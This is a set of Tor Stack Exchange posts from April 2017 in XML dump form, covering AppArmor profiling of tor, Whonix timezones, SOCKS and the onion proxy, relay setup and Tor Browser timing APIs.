  <row Id="14463" PostTypeId="1" CreationDate="2017-04-02T22:13:19.860" Score="2" ViewCount="386" Body="&lt;p&gt;I generated an apparmor profile for the tor binary that comes bundled in Ricochet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Last Modified: Sun Apr  2 2017&#xA;#include &amp;lt;tunables/global&amp;gt;&#xA;&#xA;/ricochet/*-ricochet/tor {&#xA;  #include &amp;lt;abstractions/base&amp;gt;&#xA;&#xA;  deny /etc/ld.so.preload r,&#xA;&#xA;  deny /proc/sys/kernel/random/uuid r,&#xA;  /ricochet/*-ricochet/config/tor/ rwk,&#xA;  /ricochet/*-ricochet/config/tor/ r,&#xA;  /ricochet/*-ricochet/config/tor/cached-certs r,&#xA;  /ricochet/*-ricochet/config/tor/cached-microdesc-consensus r,&#xA;  /ricochet/*-ricochet/config/tor/cached-microdescs r,&#xA;  /ricochet/*-ricochet/config/tor/cached-microdescs.new r,&#xA;  /ricochet/*-ricochet/config/tor/control-port w,&#xA;  /ricochet/*-ricochet/config/tor/control-port.tmp rw,&#xA;  /ricochet/*-ricochet/config/tor/default_torrc r,&#xA;  /ricochet/*-ricochet/config/tor/lock rwk,&#xA;  /ricochet/*-ricochet/config/tor/state rw,&#xA;  /ricochet/*-ricochet/config/tor/state.tmp rw,&#xA;  /ricochet/*-ricochet/config/tor/torrc r,&#xA;  /ricochet/*-ricochet/tor mr,&#xA;  deny /sys/devices/system/cpu/ r,&#xA;  /usr/share/tor/geoip r,&#xA;  /usr/share/tor/geoip6 r,&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure how sensitive &lt;code&gt;/proc/sys/kernel/random/uuid&lt;/code&gt; and &lt;code&gt;/proc/sys/kernel/random/uuid&lt;/code&gt; are so I denied them. Ricochet opens fine with them denied. Tell me if I should allow them though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My biggest concern is &lt;code&gt;/usr/share/tor/geoip&lt;/code&gt;. I have it set to &lt;code&gt;read-only&lt;/code&gt; but I'm still getting journalctl complaints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ journalctl -af&#xA;Apr 02 &amp;lt;uname removed&amp;gt; kernel: audit: type=1400 audit(1491170231.720:200): apparmor=&quot;DENIED&quot; operation=&quot;open&quot; profile=&quot;/ricochet/&amp;lt;removed&amp;gt;-ricochet/tor&quot; name=&quot;/usr/share/tor/geoip&quot; pid=2563 comm=&quot;tor&quot; requested_mask=&quot;r&quot; denied_mask=&quot;r&quot; fsuid=1000 ouid=0&#xA;Apr 02 &amp;lt;uname removed&amp;gt; kernel: audit: type=1400 audit(1491170231.720:201): apparmor=&quot;DENIED&quot; operation=&quot;open&quot; profile=&quot;/ricochet/&amp;lt;removed&amp;gt;-ricochet/tor&quot; name=&quot;/usr/share/tor/geoip6&quot; pid=2563 comm=&quot;tor&quot; requested_mask=&quot;r&quot; denied_mask=&quot;r&quot; fsuid=1000 ouid=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me debug this? Why is apparmor denying &lt;code&gt;r&lt;/code&gt; access?&lt;/p&gt;&#xA;" OwnerUserId="16950" LastEditorUserId="88" LastEditDate="2017-04-21T08:15:28.570" LastActivityDate="2017-04-21T08:15:28.570" Title="Building an Apparmor Profile" Tags="|security|chat|geoip|apparmor|ricochet|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14464" PostTypeId="1" CreationDate="2017-04-02T22:26:58.513" Score="2" ViewCount="165" Body="&lt;p&gt;Should I be concerned about the timezones in my custom whonix workstations (arch, ubuntu, kali)? Installation mediums always ask for my country code. I usually pick a random one. When building workstations, which country should I appear to be coming from to make my packets less identifiable?&lt;/p&gt;&#xA;" OwnerUserId="16951" LastActivityDate="2017-04-03T02:12:31.653" Title="Whonix Workstation Country Code" Tags="|anonymity|whonix|deanonymization|attacks|time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14465" PostTypeId="2" ParentId="14464" CreationDate="2017-04-03T02:12:31.653" Score="2" Body="&lt;p&gt;Packets won't carry your local time information, application data will though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably want to make your timezone UTC since this is the most &quot;generic&quot; timezone and the easiest to calculate your own local time from (since timezones are measured as offsets from UTC). Random timezones are probably counter productive, because some timezones will have relatively few users and that's likely to just make you stand out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails currently uses UTC for this reason, see &lt;a href=&quot;https://tails.boum.org/support/faq/#timezone&quot; rel=&quot;nofollow noreferrer&quot;&gt;their FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-03T02:12:31.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14466" PostTypeId="2" ParentId="14460" CreationDate="2017-04-03T11:19:30.540" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I get over this ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try to re-download it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a hidden download space limiter in Tor browser that I don't know ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Proof: I downloaded a 5Go ISO file without any problems.&lt;/p&gt;&#xA;" OwnerUserId="16954" LastActivityDate="2017-04-03T11:19:30.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14467" PostTypeId="1" CreationDate="2017-04-03T15:05:20.803" Score="1" ViewCount="17" Body="&lt;p&gt;can TOR be installed &#xA;without eliminating the possibility of using other search engines&#xA;i.e. GOOGLE from pc,if desired?&lt;/p&gt;&#xA;" OwnerUserId="16956" LastActivityDate="2017-04-03T15:05:20.803" Title="Tor browser usage/installation for windows" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ClosedDate="2017-04-05T07:24:33.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="14468" PostTypeId="1" CreationDate="2017-04-03T16:55:01.913" Score="1" ViewCount="1656" Body="&lt;ul&gt;&#xA;&lt;li&gt;Have a IPAD and trying to download TOR, comes up in my Dropbox. Not allowing me to &quot;view the file&quot;. Is there some other way to do this on ipad and iphone??*&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16958" LastActivityDate="2017-04-04T04:37:16.773" Title="Can TOR be downloaded on IOS 10.3?" Tags="|ios|" AnswerCount="1" CommentCount="0" ClosedDate="2017-04-05T07:24:03.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="14469" PostTypeId="1" CreationDate="2017-04-03T19:58:02.710" Score="2" ViewCount="4964" Body="&lt;p&gt;There is a maintained list of meek bridges like the others one ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not where can I find meek servers ?&lt;/p&gt;&#xA;" OwnerUserId="16960" LastActivityDate="2017-11-07T20:43:49.460" Title="Where can I find meek servers?" Tags="|bridge|pluggable-transports|meek|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14471" PostTypeId="1" CreationDate="2017-04-04T03:33:00.177" Score="0" ViewCount="1106" Body="&lt;p&gt;I actually have a two part question, but the first may answer the second...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running an OpenSuSE Leap 42.2 Linux system with the KDE desktop. Is there a way to set the Tor Browser as my default browser for handling .html files? I have tried a few things in a fashion similar to the way Firefox was configured but it appears that the Tor Broswer is being launched via scripts that don't follow the same rules. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second question is related, how do I configure Thunderbird to launch and/or use the Tor Browser rather than Firefox? My attempts so far seem to result in a failure especially if I have a Tor Browser already opened and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any and all offers to help guide me along... Darkstar&lt;/p&gt;&#xA;" OwnerUserId="16963" LastActivityDate="2023-06-17T17:08:15.670" Title="Setting Tor Browser as default in Linux" Tags="|tor-browser-bundle|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14473" PostTypeId="2" ParentId="14468" CreationDate="2017-04-04T04:37:16.773" Score="0" Body="&lt;p&gt;Currently the best browser is &lt;a href=&quot;https://itunes.apple.com/us/app/onion-browser-secure-anonymous-web-with-tor/id519296448?mt=8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://itunes.apple.com/us/app/onion-browser-secure-anonymous-web-with-tor/id519296448?mt=8&lt;/a&gt;&#xA;it is open source, tor project is still working on a official version. That is the best option right now.&lt;/p&gt;&#xA;" OwnerUserId="16967" LastActivityDate="2017-04-04T04:37:16.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14474" PostTypeId="1" CreationDate="2017-04-04T05:20:22.720" Score="1" ViewCount="475" Body="&lt;p&gt;Is there a good, step by step guide for non-computer scientists on how to set up a relay or exit node while avoiding all the jargon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I have an iMac that has an apache server, which I usually run through MAMP. Not familiar with command line instructions, but I can copy and paste with the best of them.&lt;/p&gt;&#xA;" OwnerUserId="16968" LastActivityDate="2017-05-13T15:28:02.283" Title="Simple guide to TOR for beginners -- I mean really simple, and really beginner" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14476" PostTypeId="1" AcceptedAnswerId="14477" CreationDate="2017-04-04T15:38:07.023" Score="1" ViewCount="347" Body="&lt;p&gt;From &lt;a href=&quot;https://www.whonix.org/wiki/Warning#Whonix_is_not_amnesic&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Whonix is not amnesic&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unlike Tails, Whonix is not an Amnesic Live CD. If you install Whonix&#xA;  on your computer this will leave local traces on the harddrive, that&#xA;  you installed Whonix on that device. Any files you create will still&#xA;  exist after powering off or rebooting unless you securely wiped all&#xA;  signs of their previous existence.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There are no special measures to limit what is written to disk. This&#xA;  includes (non exhaustive list) user created files, backup files,&#xA;  temporary files, swap, chat history, browser history and so on. Whonix&#xA;  acts like an ordinary installed operating system. It can also not be&#xA;  prevented, that the host memory swaps to the host disk. There is a&#xA;  Recommendation to use multiple VM Snapshots and it is recommended to&#xA;  apply Full Disk Encryption on the host.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For more information on this topic, see also: Is there a substitute&#xA;  for Whonix's lack of an Amnesic feature / Live CD/DVD? Forensics?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I translated amnesic in my native languages and still don't understand 100% what this means. I have only a vague understanding. With a search engine you don't find amnesic related to Computer science. &lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2017-04-04T18:42:59.843" Title="what does 'amnesic' in context of Computer science and/or privacy mean?" Tags="|whonix|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14477" PostTypeId="2" ParentId="14476" CreationDate="2017-04-04T18:42:59.843" Score="2" Body="&lt;p&gt;Amnesic in terms of, for example Tails (The Amnesic Incognito Live System) it is the same as is meant by the medical term. From &lt;a href=&quot;https://en.wikipedia.org/wiki/Amnesia&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;: &quot;Anterograde amnesia is the inability to transfer new information from the short-term store into the long-term store.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails has a long-term memory, which is the basis of the operating system and stored on the live media you boot it from but nothing that happens or changes that you make will make it into the long-term memory. It forgets anything that happened and reverts to it's long-term memory and exactly the same state it was in before you'd done anything or made any changes.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-04T18:42:59.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14483" PostTypeId="1" CreationDate="2017-04-05T03:14:00.920" Score="2" ViewCount="469" Body="&lt;p&gt;I am comparing two traffic instances using Wireshark: one using Tor and the other not using Tor. In both instances, the user requests the HTML document of a web page. In both instances I first filtered out the ACK packets, then I placed both traffic captures side by side and compared them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IBEqm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IBEqm.png&quot; alt=&quot;No Tor vs. Tor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the non-Tor capture file on the left, after an initial handshake protocol, there is an HTML request, followed by a continuous retrieval of the HTML document until complete. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Tor capture file on the right, although encrypted I can see a similar pattern of a continuous flow of packets from the entry relay to the user. However, there are times when the user sends a packet to the exit relay, which does not appear in the non-Tor capture file. An example of this is highlighted in the red border.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some reading of my own, specifically a research paper called Improved Website Fingerprinting on Tor, by Tao Wang and Ian Goldberg, where I read about SENDME cells, which are sent from the user to the Tor network every 50 cells as a form of flow control. However, looking at the capture files, the intervals in which I see extra packets is not always constant, so I’m assuming there may be other background traffic along with the SENDME cells.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QvTxd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QvTxd.png&quot; alt=&quot;Irregularly sent packets&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are these packets sent from my Tor client at irregular intervals during a download?&lt;/p&gt;&#xA;" OwnerUserId="16980" LastActivityDate="2017-04-05T03:33:45.183" Title="What are these packets sent from my Tor client at irregular intervals during a download?" Tags="|anonymity|fingerprinting|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14486" PostTypeId="1" CreationDate="2017-04-05T14:51:52.650" Score="1" ViewCount="75" Body="&lt;p&gt;I can't sign in to Facebook through Tor on my iPhone. I have no problem on my desktop or laptop, however. Suggestions? &lt;/p&gt;&#xA;" OwnerUserId="16987" LastActivityDate="2017-04-05T14:51:52.650" Title="Can't sign in to FB using Tor on iPhone" Tags="|help|" AnswerCount="0" CommentCount="1" ClosedDate="2017-04-20T23:17:41.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="14490" PostTypeId="1" AcceptedAnswerId="14492" CreationDate="2017-04-06T10:03:51.650" Score="0" ViewCount="1031" Body="&lt;p&gt;I have a Tor Relay running at home on a a small Raspberry Pi (pushing 50Mbit/s) with an ExitPolicy reject &lt;em&gt;:&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Atlas confirms that the Relay is not an Exit Node&#xA;(&lt;a href=&quot;https://atlas.torproject.org/#details/72092C6311D890076B0FDE9AA04D05E83DC80A7B&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.torproject.org/#details/72092C6311D890076B0FDE9AA04D05E83DC80A7B&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the strange part is, why does my router identify traffic which it should not? (see pic)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zU8nR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zU8nR.png&quot; alt=&quot;DPI on EdgeOS&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file /var/log/tor/notices.log&#xA;ORPort 9001&#xA;DirPort 9030&#xA;Exitpolicy reject *:*&#xA;Nickname kurwa&#xA;ContactInfo email-address&#xA;RelayBandwidthRate 3000 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;RelayBandwidthBurst 4000 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16873" LastActivityDate="2017-04-06T12:48:44.057" Title="ExitPolicy reject *:* some traffic seems to sneak throu anyway?" Tags="|configuration|relays|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14492" PostTypeId="2" ParentId="14490" CreationDate="2017-04-06T12:48:44.057" Score="2" Body="&lt;p&gt;Your router appears to be performing an incredibly naive form of traffic identification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd guess that it's simply looking at the content of &lt;code&gt;/etc/services&lt;/code&gt; or equivalent and matching a service to it's default port and assuming that all traffic it observes on that port is that service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's totally valid for Tor relays to run on any port and it's likely identifying, for example, Tor traffic on port 22 as SSH traffic or Tor traffic on 3306 as MySQL traffic.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-06T12:48:44.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14493" PostTypeId="1" CreationDate="2017-04-06T17:09:13.220" Score="1" ViewCount="4000" Body="&lt;p&gt;I know this is about the simplest of questions, but I've yet to come across an answer that gives me a sold yes or no answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what I'm dealing with are average internet users who claim to be able to figure out my location. I'm not exactly sure how they do it, but my best guess would be is they use one of those &quot;flag counter&quot; things that tells them which country people are visiting from. I've tried using VPNs, which appear to work, but then people still claim to find my location and I still seem to appear on those flag counters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess my question is, can Tor hide my location, specifically from flag counters (see image below, it is an example from &lt;a href=&quot;http://flagcounter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://flagcounter.com/&lt;/a&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T8xQL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T8xQL.jpg&quot; alt=&quot;flag counter&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17001" LastEditorUserId="88" LastEditDate="2017-04-21T08:04:17.610" LastActivityDate="2017-05-21T15:03:07.780" Title="Can the Tor Browser itself hide your location?" Tags="|onion-routing|location|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14496" PostTypeId="1" AcceptedAnswerId="14497" CreationDate="2017-04-06T18:54:29.033" Score="3" ViewCount="4534" Body="&lt;p&gt;I couldn't find the relevant documentation for this on the Tor and was hoping for some clarification here. I understand the process of &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;how Tor works&lt;/a&gt;, but I'm looking for information on the client side. Using this picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5M1Ef.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5M1Ef.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This picture is for onion routing in general, as I could not find a Tor specific version.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the Tor process the same as this? User makes web request &gt; SOCKS &gt; Tor/Onionproxy...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why is the SOCKS necessary, couldn't the user make a request directly to the Onion Proxy?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What stage from the picture is the onion routing protocol done (e.g. exchanging keys, encryption...). Perhaps the onion proxy stage?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16876" LastActivityDate="2017-04-07T01:32:59.753" Title="How does Tor use application proxy (SOCKS)?" Tags="|onion-routing|socks|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14497" PostTypeId="2" ParentId="14496" CreationDate="2017-04-07T01:32:59.753" Score="4" Body="&lt;p&gt;The &quot;Onion Proxy&quot; is a name for a Tor client, it is the entire client process. The SOCKS interface is just a way for a client to utilise the onion proxy. The SOCKS server is provided by the Tor process itself, when it receives a request it attaches the connection to an existing or new Tor circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOCKS is necessary because applications more commonly speak SOCKS, they don't tend to speak the Tor protocol. While it's possible for them to, it's far easier (and safer) to use the existing proxy interface. SOCKS is a good choice because it's a simple protocol. SOCKS4a and SOCKS5 also both support connecting directly to a hostname which reduces the likelihood of DNS leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, the Onion Proxy is the client process that speaks the Tor protocol. This is where the key exchanges, circuit creation, consensus and descriptor fetching all take place. It interfaces between the Tor network and the client application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Tor also provides a TransPort for &quot;Transparent Proxying&quot;, which is a different approach to proxying into the Tor Network but is also a potential &quot;Application Proxy&quot;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-07T01:32:59.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14498" PostTypeId="1" AcceptedAnswerId="14500" CreationDate="2017-04-07T07:32:46.573" Score="0" ViewCount="187" Body="&lt;p&gt;I've just configured &lt;code&gt;Tor Browser Bundle&lt;/code&gt; as a normal browser (that is directing the traffic over the normal internet route rather than the Tor network) by following &lt;a href=&quot;https://tor.stackexchange.com/questions/10073/how-to-run-the-tor-browser-without-the-bundled-tor-proxy&quot;&gt;these&lt;/a&gt; (and &lt;a href=&quot;https://superuser.com/questions/1117383/can-i-use-tor-browser-without-using-tor-network&quot;&gt;these&lt;/a&gt;) instructions. This is just for some measurements I need to do, and I am not going to use this for normal browsing so anonymity is not a concern over here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically, what I want to do is to measure the page load time of a website loaded on this modified &lt;code&gt;Tor&lt;/code&gt; browser. I was using &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/apptelemetry/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; add-on in &lt;code&gt;Firefox (52.0.2)&lt;/code&gt; previously but it ceases to work in &lt;code&gt;Tor&lt;/code&gt;. I was wondering, are there any configurations (for example in &lt;code&gt;about:config&lt;/code&gt;) that Tor has that prevent this add-on from working?&lt;/p&gt;&#xA;" OwnerUserId="10813" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-04-07T11:26:27.050" Title="Page Load Time add-on in Tor Browser Bundle not working" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14500" PostTypeId="2" ParentId="14498" CreationDate="2017-04-07T11:26:27.050" Score="1" Body="&lt;p&gt;Yes, Tor Browser disables a lot of performance timing options since they can be used in side-channel and fingerprinting attacks from javascript on webpages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension code does this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function reportTiming() {&#xA;  self.port.emit('timing', JSON.stringify(performance.timing));&#xA;}&#xA;window.addEventListener('load', function() {&#xA;  if (performance &amp;amp;&amp;amp; performance.timing) {&#xA;    reportTiming();&#xA;  }&#xA;}, false);&#xA;if (performance &amp;amp;&amp;amp; performance.timing &amp;amp;&amp;amp; performance.timing.loadEventEnd &amp;gt; 0) {&#xA;  reportTiming();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But since &lt;code&gt;performance.timing.loadEventEnd &amp;gt; 0&lt;/code&gt; will &lt;em&gt;never&lt;/em&gt; be true, it'll never report the page load end timing and so won't get a diff to measure from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few &lt;code&gt;about:config&lt;/code&gt; setting you may want to look at: &lt;code&gt;dom.enable_user_timing&lt;/code&gt;, &lt;code&gt;dom.enable_resource_timing&lt;/code&gt; and &lt;code&gt;dom.enable_performance&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-07T11:26:27.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14501" PostTypeId="1" CreationDate="2017-04-07T13:24:25.547" Score="0" ViewCount="509" Body="&lt;p&gt;Orbot can be set to run as a non-exit relay&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ft1YY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ft1YY.png&quot; alt=&quot;Options from the setting screen&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However IIRC it take a little while (weeks) before non-exit relays become trusted enough to route real world traffic through them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the IP address of my phone changes relatively frequently does it make sense to donate some of my &quot;all you can eat&quot; data allowance to the network, or am I needlessly slowing my phone down?&lt;/p&gt;&#xA;" OwnerDisplayName="user5416" LastActivityDate="2017-06-12T14:53:52.963" Title="Orbot as a middle relay - does it make any sense?" Tags="|relays|orbot|network-health|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14502" PostTypeId="2" ParentId="3232" CreationDate="2017-04-07T19:54:04.603" Score="2" Body="&lt;p&gt;Mentioning only a very few,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Subgraph has a Grsecurity/PaX hardened kernel. Tails doesn't.&lt;/li&gt;&#xA;&lt;li&gt;Subgraph lets you choose which application to route through Tor and which through clearnet or VPN very easily. Tails doesn't.&lt;/li&gt;&#xA;&lt;li&gt;Subgraph can be used as a live USB, but it can also be installed as the default system, something that Tails doesn't.&lt;/li&gt;&#xA;&lt;li&gt;Subgraph implements a sandbox for every application.&lt;/li&gt;&#xA;&lt;li&gt;Tails is a more mature project than Subgraph.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17011" LastActivityDate="2017-04-07T19:54:04.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14503" PostTypeId="1" CreationDate="2017-04-07T20:53:53.260" Score="1" ViewCount="340" Body="&lt;p&gt;I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Debian 8&lt;/li&gt;&#xA;&lt;li&gt;two IPs on the Linux machine&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to run multiple tor (exit-)server instances on this machine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I have to define multiple &lt;code&gt;torrc&lt;/code&gt; files and also have an extra &lt;code&gt;/var/lib&lt;/code&gt; directory for the extra instances (as well as the other folders for logging and so on...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do I then set up everyting so that I can call &lt;code&gt;service tor2 start/stop&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="10599" LastActivityDate="2017-04-07T21:20:48.493" Title="Looking for up to date tutorial on running multiple tor exit nodes on one machine" Tags="|relays|exit-relays|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14504" PostTypeId="2" ParentId="14503" CreationDate="2017-04-07T21:20:48.493" Score="1" Body="&lt;p&gt;It's probably easiest to use systemd. Take a look at the service configuration file located at &lt;code&gt;/lib/systemd/system/tor@.service&lt;/code&gt;. , '%i' is a placeholder which will be replaced with the name of the service. The systemd service has also some nice hardening features enabled by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the instructions assuming the service is called tor1&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create user _tor-tor1&lt;/li&gt;&#xA;&lt;li&gt;create group _tor-tor1&lt;/li&gt;&#xA;&lt;li&gt;start service &lt;code&gt;systemctl start tor@tor1&lt;/code&gt; (creates a custom torrc)&lt;/li&gt;&#xA;&lt;li&gt;adjust torrc at /etc/tor/instances/tor1/torrc&lt;/li&gt;&#xA;&lt;li&gt;enable service (start automatically on boot) &lt;code&gt;systemctl enable tor@tor1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;restart service &lt;code&gt;systemctl restart tor@tor1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can use OutboundBindAddress to set the address from which packages are sent and you'll also have to make sure you use a different port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Debian unfortunately didn't have systemd when I last set up a tor relay, so the instructions may not be 100% accurate. Please let me know if that's the case.)&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-07T21:20:48.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
